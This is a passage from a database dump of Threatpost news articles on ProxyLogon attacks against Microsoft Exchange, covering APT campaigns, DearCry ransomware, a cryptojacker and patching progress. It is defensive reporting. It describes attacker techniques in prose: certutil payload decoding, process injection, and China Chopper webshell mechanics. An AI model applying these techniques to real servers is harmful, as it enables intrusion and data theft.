2016.\n\n\u201cLuckyMouse operators started by dropping the Nbtscan tool in C:\\programdata\\, then installed a variant of the ReGeorg webshell and issued a GET request to http://34.90.207[.]23/ip using curl,\u201d according to ESET\u2019s report. \u201cFinally, they attempted to install their SysUpdate (a.k.a. Soldier) modular backdoor.\u201d\n\nThat same day, still in the zero-day period, the Calypso spy group compromised the email servers of governmental entities in the Middle East and in South America. And in the following days, it targeted additional servers at governmental entities and private companies in Africa, Asia and Europe using the exploit.\n\n\u201cAs part of these attacks, two different backdoors were observed: a variant of PlugX specific to the group (Win32/Korplug.ED) and a custom backdoor that we detect as Win32/Agent.UFX (known as Whitebird in a Dr.Web report),\u201d according to ESET. \u201cThese tools are loaded using DLL search-order hijacking against legitimate executables (also dropped by the attackers).\u201d\n\nESET also observed the Winnti Group exploiting the bugs, a few hours before Microsoft released the patches. Winnti (a.k.a. APT41 or Barium, known for [high-profile supply-chain attacks against the video game and software industries](<https://threatpost.com/ransomware-major-gaming-companies-apt27/162735/>)) compromised the email servers of an oil company and a construction equipment company, both based in East Asia.\n\n\u201cThe attackers started by dropping webshells,\u201d according to ESET. \u201cAt one of the compromised victims we observed a [PlugX RAT](<https://threatpost.com/ta416-apt-plugx-malware-variant/161505/>) sample (also known as Korplug)\u2026at the second victim, we observed a loader that is highly similar to previous Winnti v.4 malware loaders\u2026used to decrypt an encrypted payload from disk and execute it. Additionally, we observed various Mimikatz and password dumping tools.\u201d\n\nAfter the patches rolled out and the vulnerabilities were publicly disclosed, [CactusPete (a.k.a. Tonto Team)](<https://threatpost.com/cactuspete-apt-toolset-respionage-targets/158350/>) compromised the email servers of an Eastern Europe-based procurement company and a cybersecurity consulting company, ESET noted. The attacks resulted in the ShadowPad loader being implanted, along with a variant of the Bisonal remote-access trojan (RAT).\n\nAnd, the Mikroceen APT group (a.k.a. Vicious Panda) compromised the Exchange server of a utility company in Central Asia, which is the region it mainly targets, a day after the patches were released.\n\n## **Unattributed Exploitation Activity**\n\nA cluster of pre-patch activity that ESET dubbed Websiic was also seen targeting seven email servers belonging to private companies (in the domains of IT, telecommunications and engineering) in Asia and a governmental body in Eastern Europe.\n\nESET also said it has seen a spate of unattributed [ShadowPad activity](<https://threatpost.com/ccleaner-attackers-intended-to-deploy-keylogger-in-third-stage/130358/>) resulting in the compromise of email servers at a software development company based in East Asia and a real estate company based in the Middle East. ShadowPad is a cyber-attack platform that criminals deploy in networks to gain remote control capabilities, keylogging functionality and data exfiltration.\n\nAnd, it saw another cluster of activity targeting around 650 servers, mostly in the Germany and other European countries, the U.K. and the United States. All of the latter attacks featured a first-stage webshell called RedirSuiteServerProxy, researchers said.\n\nAnd finally, on four email servers located in Asia and South America, webshells were used to install IIS backdoors after the patches came out, researchers said.\n\nThe groundswell of activity, particularly on the zero-day front, brings up the question of how knowledge of the vulnerabilities was spread between threat groups.\n\n\u201cOur ongoing research shows that not only Hafnium has been using the recent RCE vulnerability in Exchange, but that multiple APTs have access to the exploit, and some even did so prior to the patch release,\u201d ESET concluded. \u201cIt is still unclear how the distribution of the exploit happened, but it is inevitable that more and more threat actors, including ransomware operators, will have access to it sooner or later.\u201d\n\nOrganizations with on-premise Microsoft Exchange servers should patch as soon as possible, researchers noted \u2013 if it\u2019s not already too late.\n\n\u201cThe best mitigation advice for network defenders is to apply the relevant patches,\u201d said Joe Slowick, senior security researcher with DomainTools, in a [Wednesday post](<https://www.domaintools.com/resources/blog/examining-exchange-exploitation-and-its-lessons-for-defenders>). \u201cHowever, given the speed in which adversaries weaponized these vulnerabilities and the extensive period of time pre-disclosure when these were actively exploited, many organizations will likely need to shift into response and remediation activities \u2014 including attack surface reduction and active threat hunting \u2014 to counter existing intrusions.\u201d\n\n**_Check out our free [upcoming live webinar events](<https://threatpost.com/category/webinars/>) \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy **([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n\n** **\n", "cvss3": {}, "published": "2021-03-11T18:01:16", "type": "threatpost", "title": "Microsoft Exchange Servers Face APT Attack Tsunami", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-11T18:01:16", "id": "THREATPOST:CAA77BB0CF0093962ECDD09004546CA3", "href": "https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-16T14:17:03", "description": "Cybercriminals are now using compromised Microsoft Exchange servers as a foothold to deploy a new ransomware family called DearCry, Microsoft has warned.\n\nThe ransomware is the latest threat to beleaguer vulnerable Exchange servers, emerging shortly after Microsoft [issued emergency patches in early March](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) for four Microsoft Exchange flaws. The flaws [can be chained together](<https://threatpost.com/microsoft-patch-tuesday-updates-critical-bugs/164621/>) to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials.\n\nThe flaws give attackers the opportunity to install a webshell for further exploitation within the environment \u2014 and now, researchers say attackers are downloading the new ransomware strain (a.k.a. Ransom:Win32/DoejoCrypt.A) as part of their post-exploitation activity on unpatched servers.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cWe have detected and are now blocking a new family of ransomware being used after an initial compromise of unpatched on-premises Exchange Servers,\u201d Microsoft said [on Twitter](<https://twitter.com/MsftSecIntel/status/1370236539427459076>), Thursday.\n\n## **DearCry Ransomware**\n\nDearCry first came onto the infosec space\u2019s radar after ransomware expert Michael Gillespie [on Thursday said he observed](<https://twitter.com/demonslay335/status/1370125343571509250>) a \u201csudden swarm\u201d of submissions to his ransomware identification website, ID-Ransomware.\n\nThe ransomware uses the extension \u201c.CRYPT\u201d when encrypting files, as well as a filemarker \u201cDEARCRY!\u201d in the string for each encrypted file.\n\n[Microsoft later confirmed](<https://twitter.com/phillip_misner/status/1370197696280027136>) that the ransomware was being launched by attackers using the four Microsoft Exchange vulnerabilities, known collectively as ProxyLogon, which are being tracked as CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065.\n\nhttps://twitter.com/demonslay335/status/1370125343571509250\n\nAccording to a [report by BleepingComputer](<https://www.bleepingcomputer.com/news/security/ransomware-now-attacks-microsoft-exchange-servers-with-proxylogon-exploits/amp/>), the ransomware drops a ransom note (called \u2018readme.txt\u2019) after initially infecting the victim \u2013 which contains two email addresses for the threat actors and demands a ransom payment of $16,000.\n\nMeanwhile, [MalwareHunterTeam](<https://twitter.com/malwrhunterteam/status/1370130753586102272>) on Twitter said that victim companies of DearCry have been spotted in Australia, Austria, Canada, Denmark and the U.S. On Twitter, MalwareHunterTeam said the ransomware is \u201cnot that very widespread (yet?).\u201d Thus far, three samples of the DearCry ransomware were uploaded to VirusTotal on March 9 (the hashes for which [can be found here)](<https://twitter.com/malwrhunterteam/status/1370271414855593986>).\n\n## **Microsoft Exchange Attacks Doubling Every Hour**\n\nExploitation activity for the recently patched Exchange flaws continue to skyrocket, [with researchers this week warning](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) the flaws are under fire from at least 10 different advanced persistent threat (APT) groups, all bent on compromising email servers around the world.\n\n[New research by Check Point Software](<https://blog.checkpoint.com/2021/03/11/exploits-on-organizations-worldwide/>) said in the past 24 hours alone, the number of exploitation attempts on organizations have doubled every two to three hours.\n\nResearchers said they saw hundreds of exploit attempts against organizations worldwide \u2013 with the most-targeted industry sectors being government and military (making up 17 percent of all exploit attempts), manufacturing (14 percent) and banking (11 percent).\n\nResearchers warned that exploitation activity will continue \u2014 and urged companies that have not already done so to patch.\n\n\u201cSince the recently disclosed vulnerabilities on Microsoft Exchange Servers, a full race has started amongst hackers and security professionals,\u201d according to Check Point researchers. \u201cGlobal experts are using massive preventative efforts to combat hackers who are working day-in and day-out to produce an exploit that can successfully leverage the remote code-execution vulnerabilities in Microsoft Exchange.\u201d\n\n**_Check out our free [upcoming live webinar events](<https://threatpost.com/category/webinars/>) \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly **([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy **([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-12T16:26:07", "type": "threatpost", "title": "Microsoft Exchange Exploits Pave a Ransomware Path", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-12T16:26:07", "id": "THREATPOST:DC270F423257A4E0C44191BE365F25CB", "href": "https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-04-15T12:28:24", "description": "Cryptojacking can be added to the list of threats that face any [unpatched Exchange servers](<https://threatpost.com/microsoft-exchange-servers-proxylogon-patching/165001/>) that remain vulnerable to the now-infamous ProxyLogon exploit, new research has found.\n\nResearchers discovered the threat actors using Exchange servers compromised using the highly publicized exploit chain\u2014which suffered a [barrage of attacks](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) from advanced persistent threat (APT) groups to infect systems with everything from [ransomware](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) to webshells\u2014to host Monero cryptomining malware, according to [a report](<https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/>) posted online this week by SophosLabs.\n\n\u201cAn unknown attacker has been attempting to leverage what\u2019s now known as the ProxyLogon exploit to foist a malicious Monero cryptominer onto Exchange servers, with the payload being hosted on a compromised Exchange server,\u201d Sophos principal researcher Andrew Brandt wrote in the report. \n[](<https://threatpost.com/newsletter-sign/>)\n\nResearchers were inspecting telemetry when they discovered what they deemed an \u201cunusual attack\u201d targeting the customer\u2019s Exchange server. Sophos researchers Fraser Howard and Simon Porter were instrumental in the discovery and analysis of the novel threat, Brandt acknowledged.\n\nResearchers said they detected the executables associated with this attack as Mal/Inject-GV and XMR-Stak Miner (PUA), according to the report. Researchers published a list of [indicators of compromise](<https://github.com/sophoslabs/IoCs/blob/master/PUA-QuickCPU_xmr-stak.csv>) on the SophosLabs GitHub page to help organizations recognize if they\u2019ve been attacked in this way.\n\n## **How It Works**\n\nThe attack as observed by researchers began with a PowerShell command to retrieve a file named win_r.zip from another compromised server\u2019s Outlook Web Access logon path (/owa/auth), according to the report. Under closer inspection, the .zip file was not a compressed archive at all but a batch script that then invoked the built-into-Windows certutil.exe program to download two additional files, win_s.zip and win_d.zip, which also were not compressed.\n\nThe first file is written out to the filesystem as QuickCPU.b64, an executable payload in base64 that can be decoded by the certutil application, which by design can decode base64-encoded security certificates, researchers observed.\n\nThe batch script then runs another command that outputs the decoded executable into the same directory. Once decoded, the batch script runs the executable, which extracts the miner and configuration data from the QuickCPU.dat file, injects it into a system process, and then deletes any evidence that it was there, according to the report.\n\nThe executable in the attack appears to contain a modified version of a tool publicly available on Github called PEx64-Injector, which is [described](<https://github.com/0xyg3n/PEx64-Injector>) on its Github page as having the ability to \u201cmigrate any x64 exe to any x64 process\u201d with \u201cno administrator privileges required,\u201d according to the report.\n\nOnce the file runs on an infected system, it extracts the contents of the QuickCPU.dat file, which includes an installer for the cryptominer and its configuration temporarily to the filesystem. It then configures the miner, injects it into a running process, then quits, according to the report. \u201cThe batch file then deletes the evidence and the miner remains running in memory, injected into a process already running on the system,\u201d Brandt wrote.\n\nResearchers observed the cryptominer receiving funds on March 9, which is when Microsoft also released updates to Exchange to patch the flaws. Though the attacker lost several servers after this date and the output from the miner decreased, other servers that were gained thereafter more than made up for the early losses, according to the report.\n\n## **Exploit-Chain History**\n\nThe ProxyLogon problem started for Microsoft in early March when the company said it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange Server. The exploit chain is comprised of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065).\n\nTogether the flaws created a pre-authentication remote code execution (RCE) exploit, meaning attackers can take over servers without knowing any valid account credentials. This gave them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\nAs previously mentioned, Microsoft released an out-of-band update [soon after](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in its scramble to patch the flaws in the ProxyLogon chain; however, while the company boasted later that month that 92 percent of affected machines already had been patched, much damage had already been done, and unpatched systems likely exist that remain vulnerable.\n\n**_Ever wonder what goes on in underground cybercrime forums? Find out on April 21 at 2 p.m. ET during a _**[**_FREE Threatpost event_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_, \u201cUnderground Markets: A Tour of the Dark Economy.\u201d Experts from Digital Shadows (Austin Merritt) and Sift (Kevin Lee) will take you on a guided tour of the Dark Web, including what\u2019s for sale, how much it costs, how hackers work together and the latest tools available for hackers. _**[**_Register here_**](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/?utm_source=ART&utm_medium=ART&utm_campaign=April_webinar>)**_ for the Wed., April 21 LIVE event. _**\n", "cvss3": {}, "published": "2021-04-15T12:19:13", "type": "threatpost", "title": "Attackers Target ProxyLogon Exploit to Install Cryptojacker", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-04-15T12:19:13", "id": "THREATPOST:B787E57D67AB2F76B899BCC525FF6870", "href": "https://threatpost.com/attackers-target-proxylogon-cryptojacker/165418/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-16T17:23:15", "description": "As dangerous attacks accelerate against Microsoft Exchange Servers in the wake of the disclosure around the [ProxyLogon group of security bugs](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>), a public proof-of-concept (PoC) whirlwind has started up. It\u2019s all leading to a feeding frenzy of cyber-activity.\n\nThe good news, however, is that Microsoft has issued a one-click mitigation and remediation tool in light of the ongoing swells of attacks.\n\nResearchers said that while advanced persistent threats (APTs) were the first to the game when it comes to hacking vulnerable Exchange servers, the public PoCs mean that the cat is officially out of the bag, meaning that less sophisticated cybercriminals can start to leverage the opportunity.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cAPTs\u2026can reverse engineer the patches and make their own PoCs,\u201d Roger Grimes, data-driven defense evangelist at KnowBe4, told Threatpost. \u201cBut publicly posted PoCs mean that the thousands of other hacker groups that don\u2019t have that level of sophistication can do it, and even those groups that do have that sophistication can do it faster.\u201d\n\nAfter confirming the efficacy of one of the new public PoCs, security researcher Will Dorman of CERT/CC [tweeted](<https://twitter.com/wdormann/status/1370800181143351296>), \u201cHow did I find this exploit? Hanging out in the dark web? A hacker forum? No. Google search.\u201d\n\n## **What is the ProxyLogon Exploit Against Microsoft Exchange?**\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange servers.\n\nFour flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\nAnd indeed, Microsoft noted that adversaries from a Chinese APT called Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access.\n\nMicrosoft quickly pushed out out-of-band patches for ProxyLogon, but even so, tens of thousands of organizations have so far been compromised using the exploit chain.\n\nIt\u2019s also apparent that Hafnium isn\u2019t the only party of interest, according to multiple researchers; [ESET said last week](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that at least 10 different APTs are using the exploit.\n\nThe sheer volume of APTs mounting attacks, most of them starting in the days before ProxyLogon became publicly known, has prompted questions as to the exploit\u2019s provenance \u2013 and ESET researchers mused whether it was shared around the Dark Web on a wide scale.\n\nSeveral versions of the on-premise flavor of Exchange are vulnerable to the four bugs, including Exchange 2013, 2016 and 2019. Cloud-based and hosted versions are not vulnerable to ProxyLogon.\n\n## **How Many Organizations and Which Ones Remain at Risk?**\n\nMicrosoft originally identified more than 400,000 on-premise Exchange servers that were at-risk when the patches were first released on March 2. Data collected by RiskIQ [indicated that](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/?utm_campaign=exchange_landscape_blog>) as of March 14, there were 69,548 Exchange servers that were still vulnerable. And in a separate analysis from Kryptos Logic, 62,018 servers are still vulnerable to CVE-2021-26855, the server-side request forgery flaw that allows initial access to Exchange servers.\n\n\u201cWe released one additional set of updates on March 11, and with this, we have released updates covering more than 95 percent of all versions exposed on the internet,\u201d according to [post](<https://www.microsoft.com/security/blog/2021/03/12/protecting-on-premises-exchange-servers-against-recent-attacks/>) published by Microsoft last week.\n\nHowever, Check Point Research (CPR) [said this week](<https://blog.checkpoint.com/2021/03/11/exploits-on-organizations-worldwide/>) that in its latest observations on exploitation attempts, the number of attempted attacks has increased tenfold, from 700 on March 11 to more than 7,200 on March 15.\n\nAccording to CPR\u2019s telemetry, the most-attacked country has been the United States (accounting for 17 percent of all exploit attempts), followed by Germany (6 percent), the United Kingdom (5 percent), the Netherlands (5 percent) and Russia (4 percent).\n\nThe most-targeted industry sector meanwhile has been government/military (23 percent of all exploit attempts), followed by manufacturing (15 percent), banking and financial services (14 percent), software vendors (7 percent) and healthcare (6 percent).\n\n\u201cWhile the numbers are falling, they\u2019re not falling fast enough,\u201d RiskIQ said in its [post](<https://www.riskiq.com/blog/external-threat-management/microsoft-exchange-server-landscape/?utm_campaign=exchange_landscape_blog&utm_source=twitter&utm_medium=social&utm_content=exchange_landscape_blog_twitter>). \u201cIf you have an Exchange server unpatched and exposed to the internet, your organization is likely already breached. One reason the response may be so slow is many organizations may not realize they have exchange servers exposed to the Internet\u2014this is a common issue we see with new customers.\u201d\n\nIt added, \u201cAnother is that while new patches are coming out every day, many of these servers are not patchable and require upgrades, which is a complicated fix and will likely spur many organizations to migrate to cloud email.\u201d\n\n## **Will the ProxyLogon Attacks Get Worse?**\n\nUnfortunately, it\u2019s likely that attacks on Exchange servers will become more voluminous. Last week, independent security researcher Nguyen Jang [published a PoC on GitHub, ](<https://twitter.com/taviso/status/1370068702817783810>)which chained two of the [ProxyLogon](<https://securityaffairs.co/wordpress/115428/security/microsoft-exchange-emergency-update.html>) vulnerabilities together.\n\nGitHub quickly took it down in light of the hundreds of thousands of still-vulnerable machines in use, but it was still available for several hours.\n\nThen over the weekend, another PoC appeared, flagged and confirmed by CERT/CC\u2019s Dormann:\n\n> Well, I'll say that the ProxyLogon Exchange CVE-2021-26855 Exploit is completely out of the bag by now.<https://t.co/ubsysTeFOj> \nI'm not so sure about the \"Failed to write to shell\" error message. But I can confirm that it did indeed drop a shell on my test Exchange 2016 box. [pic.twitter.com/ijOGx3BIif](<https://t.co/ijOGx3BIif>)\n> \n> \u2014 Will Dormann (@wdormann) [March 13, 2021](<https://twitter.com/wdormann/status/1370800181143351296?ref_src=twsrc%5Etfw>)\n\nEarlier, Praetorian researchers on March 8 published a [detailed technical analysis](<https://www.praetorian.com/blog/reproducing-proxylogon-exploit/>) of CVE-2021-26855 (the one used for initial access), which it used to create an exploit. The technical details offer a public roadmap for reverse-engineering the patch.\n\nThe original exploit used by APTs meanwhile could have been leaked or lifted from Microsoft\u2019s information-sharing program, according to a recent report in the Wall Street Journal. [In light of evidence](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that multiple APTs were mounting zero-day attacks in the days before Microsoft released patches for the bugs, the computing giant is reportedly questioning whether an exploit was leaked from one of its security partners.\n\nMAPP delivers relevant bug information to security vendors ahead of disclosure, so they can get a jump on adding signatures and indicators of compromise to their products and services. This can include, yes, exploit code.\n\n\u201cSome of the tools used in the second wave of the attack, which is believed to have begun Feb. 28, bear similarities to proof-of-concept attack code that Microsoft distributed to antivirus companies and other security partners Feb. 23, investigators at security companies say,\u201d according to [the report](<https://www.wsj.com/articles/microsoft-probing-whether-leak-played-role-in-suspected-chinese-hack-11615575793>). \u201cMicrosoft had planned to release its security fixes two weeks later, on March 9, but after the second wave began it pushed out the patches a week early, on March 2, according to researchers.\u201d\n\n## **Microsoft Mitigation Tool**\n\nMicrosoft has released an Exchange On-premises Mitigation Tool (EOMT) tool to help smaller businesses without dedicated security teams to protect themselves.\n\n\u201cMicrosoft has released a new, [one-click mitigation tool](<https://aka.ms/eomt>), Microsoft Exchange On-Premises Mitigation Tool to help customers who do not have dedicated security or IT teams to apply these security updates. We have tested this tool across Exchange Server 2013, 2016, and 2019 deployments,\u201d according to a [post](<https://msrc-blog.microsoft.com/2021/03/15/one-click-microsoft-exchange-on-premises-mitigation-tool-march-2021/>) published by Microsoft. \u201cThis new tool is designed as an interim mitigation for customers who are unfamiliar with the patch/update process or who have not yet applied the on-premises Exchange security update.\u201d\n\nMicrosoft said that the tool will mitigate against exploits for the initial-access bug CVE-2021-26855 via a URL rewrite configuration, and will also scan the server using the [Microsoft Safety Scanner](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/safety-scanner-download>) to identify any existing compromises. Then, it will remediate those.\n\n## **China Chopper Back on the Workbench**\n\nAmid this flurry of activity, more is becoming known about how the attacks work. For instance, the APT Hafnium first flagged by Hafnium is uploading the well-known China Chopper web shell to victim machines.\n\nThat\u2019s according to [an analysis](<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/hafnium-china-chopper-and-aspnet-runtime/>) from Trustwave SpiderLabs, which found that China Chopper is specifically being uploaded to compromised Microsoft Exchange servers with a publicly facing Internet Information Services (IIS) web server.\n\nChina Chopper is an Active Server Page Extended (ASPX) web shell that is typically planted on an IIS or Apache server through an exploit. Once established, the backdoor \u2014 which [hasn\u2019t been altered much](<https://threatpost.com/china-chopper-tool-multiple-campaigns/147813/>) since its inception nearly a decade ago \u2014 allows adversaries to execute various commands on the server, drop malware and more.\n\n\u201cWhile the China Chopper web shell has been around for years, we decided to dig even deeper into how the China Chopper web shell works as well as how the ASP.NET runtime serves these web shells,\u201d according to Trustwave. \u201cThe China Chopper server-side ASPX web shell is [extremely small](<https://threatpost.com/fin7-active-exploits-sharepoint/144628/>) and typically, the entire thing is just one line.\u201d\n\nHafnium is using the JScript version of the web shell, researchers added.\n\n\u201cThe script is essentially a page where when an HTTP POST request is made to the page, and the script will call the JScript \u2018eval\u2019 function to execute the string inside a given POST request variable,\u201d researchers explained. \u201cIn the\u2026script, the POST request variable is named \u2018secret,\u2019 meaning any JScript contained in the \u2018secret\u2019 variable will be executed on the server.\u201d\n\nResearchers added that typically, a China Chopper client component in the form of a C binary file is used on the attacker\u2019s systems.\n\n\u201cThis client allows the attacker to perform many nefarious tasks such as downloading and uploading files, running a virtual terminal to execute anything you normally could using cmd.exe, modifying file times, executing custom JScript, file browsing and more,\u201d explained Trustwave researchers. \u201cAll this is made available just from the one line of code running on the server.\u201d\n\n**_Check out our free _**[**_upcoming live webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community:_**\n\n * March 24: **Economics of 0-Day Disclosures: The Good, Bad and Ugly** ([Learn more and register!](<https://threatpost.com/webinars/economics-of-0-day-disclosures-the-good-bad-and-ugly/>))\n * April 21: **Underground Markets: A Tour of the Dark Economy** ([Learn more and register!](<https://threatpost.com/webinars/underground-markets-a-tour-of-the-dark-economy/>))\n", "cvss3": {}, "published": "2021-03-16T16:56:26", "type": "threatpost", "title": "Exchange Cyberattacks Escalate as Microsoft Rolls One-Click Fix", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-26857", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2021-03-16T16:56:26", "id": "THREATPOST:A4C1190B664DAE144A62459611AC5F4A", "href": "https://threatpost.com/microsoft-exchange-cyberattacks-one-click-fix/164817/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-26T19:00:10", "description": "The patching level for Microsoft Exchange Servers that are vulnerable to the [ProxyLogon group of security bugs](<https://threatpost.com/microsoft-exchange-exploits-ransomware/164719/>) has reached 92 percent, according to Microsoft.\n\nThe computing giant [tweeted out the stat](<https://twitter.com/msftsecresponse/status/1374075310195412992>) earlier this week \u2013 though of course patching won\u2019t fix already-compromised machines. Still, that\u2019s an improvement of 43 percent just since last week, Microsoft pointed out (using telemetry from RiskIQ).\n\n> Our work continues, but we are seeing strong momentum for on-premises Exchange Server updates: \n\u2022 92% of worldwide Exchange IPs are now patched or mitigated. \n\u2022 43% improvement worldwide in the last week. [pic.twitter.com/YhgpnMdlOX](<https://t.co/YhgpnMdlOX>)\n> \n> \u2014 Security Response (@msftsecresponse) [March 22, 2021](<https://twitter.com/msftsecresponse/status/1374075310195412992?ref_src=twsrc%5Etfw>)\n\nProxyLogon consists of four flaws (CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, CVE-2021-27065) that can be chained together to create a pre-authentication remote code execution (RCE) exploit \u2013 meaning that attackers can take over servers without knowing any valid account credentials. This gives them access to email communications and the opportunity to install a web shell for further exploitation within the environment.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe good news on patching comes as a whirlwind of ProxyLogon cyberattacks has hit companies across the globe, with multiple advanced persistent threats (APT) and possibly other adversaries moving quickly to exploit the bug. A spate of public proof-of-concept exploits has added fuel to the fire \u2013 which is blazing so bright that F-Secure said on Sunday that hacks are occurring \u201cfaster than we can count,\u201d with tens of thousands of machines compromised.\n\n\u201cTo make matters worse, proof-of-concept automated attack scripts are being made publicly available, making it possible for even unskilled attackers to quickly gain remote control of a vulnerable Microsoft Exchange Server,\u201d according to [F-Secure\u2019s writeup](<https://blog.f-secure.com/microsoft-exchange-proxylogon/>). \u201cThere is even a fully functioning package for exploiting the vulnerability chain published to the Metasploit application, which is commonly used for both hacking- and security testing. This free-for-all attack opportunity is now being exploited by vast numbers of criminal gangs, state-backed threat actors and opportunistic script kiddies.\u201d\n\nThe attackers are using ProxyLogon to carry out a range of attacks, including data theft and the installation of malware, such as the recently discovered \u201cBlackKingdom\u201d strain. According to Sophos, the ransomware operators are asking for $10,000 in Bitcoin in exchange for an encryption key.\n\n## **Patching Remains Tough for Many**\n\nThe CyberNews investigation team [found](<https://cybernews.com/news/patched-microsoft-exchange-servers-give-a-false-sense-of-security-says-cisas-brandon-wales/>) 62,174 potentially vulnerable unpatched Microsoft Exchange Servers around the world, as of Wednesday.\n\n\n\nClick to enlarge. Source: CyberNews.\n\nVictor Wieczorek, practice director for Threat & Attack Simulation at GuidePoint Security, noted that some organizations are not structured or resourced to patch effectively against ProxyLogon.\n\n\u201cThis is because, 1) a lack of accurate asset inventory and ownership information; and 2) lag time to vet patching for negative impacts on the business and gain approval from asset/business owners to patch,\u201d he told Threatpost. \u201cIf you don\u2019t have an accurate inventory with a high level of confidence, it takes a long time to hunt down affected systems. You have to determine who owns them and if applying the patch would negatively impact the system\u2019s function. Responsible and timely patching takes lots of proactive planning and tracking.\u201d\n\nHe added that by regularly testing existing controls (red-teaming), searching for indicators of existing weakness and active threats (threat hunting), and investing/correcting confirmed vulnerabilities (vulnerability management), organizations are going to be in a much better spot to adjust to emerging vulnerabilities and invoke their incident-response capabilities when needed.\n\n## **APT Activity Continues**\n\nMicrosoft said in early March that it [had spotted multiple zero-day exploits](<https://threatpost.com/microsoft-exchange-zero-day-attackers-spy/164438/>) in the wild being used to attack on-premises versions of Microsoft Exchange servers.\n\nAnd indeed, Microsoft noted that adversaries from a Chinese APT called Hafnium were able to access email accounts, steal a raft of data and drop malware on target machines for long-term remote access. It\u2019s also apparent that Hafnium isn\u2019t the only party of interest, according to multiple researchers; [ESET said earlier in March](<https://threatpost.com/microsoft-exchange-servers-apt-attack/164695/>) that at least 10 different APTs are using the exploit.\n\nThe sheer volume of APTs mounting attacks, most of them starting in the days before ProxyLogon became publicly known, has prompted questions as to the exploit\u2019s provenance \u2013 and ESET researchers mused whether it was shared around the Dark Web on a wide scale.\n\nThe APTs seem mainly bent on cyberespionage and data theft, researchers said.\n\n\u201cThese breaches could be occurring in the background, completely unnoticed. Only after months or years will it become clear what was stolen,\u201d according to F-Secure. \u201cIf an attacker knows what they are doing, the data has most likely already been stolen or is being stolen right now.\u201d\n\nSeveral versions of the on-premise flavor of Exchange are vulnerable to the four bugs, including Exchange 2013, 2016 and 2019. Cloud-based and hosted versions are not vulnerable to ProxyLogon.\n\n## **Patching is Not Enough; Assume Compromise**\n\nUnfortunately, installing the ProxyLogon security patches alone does not guarantee that a server is secure \u2013 an attacker may have breached it before the update was installed.\n\n\u201cPatching is like closing a door. Therefore, 92 percent of the doors have been closed. But the doors were open for a relatively long time and known to all the bad actors,\u201d Oliver Tavakoli, CTO at Vectra, told Threatpost. \u201cIdentifying and remediating already compromised systems will be a lot harder.\u201d\n\nBrandon Wales, the acting director for the Cybersecurity and Infrastructure Security Agency (CISA), said during a webinar this week that 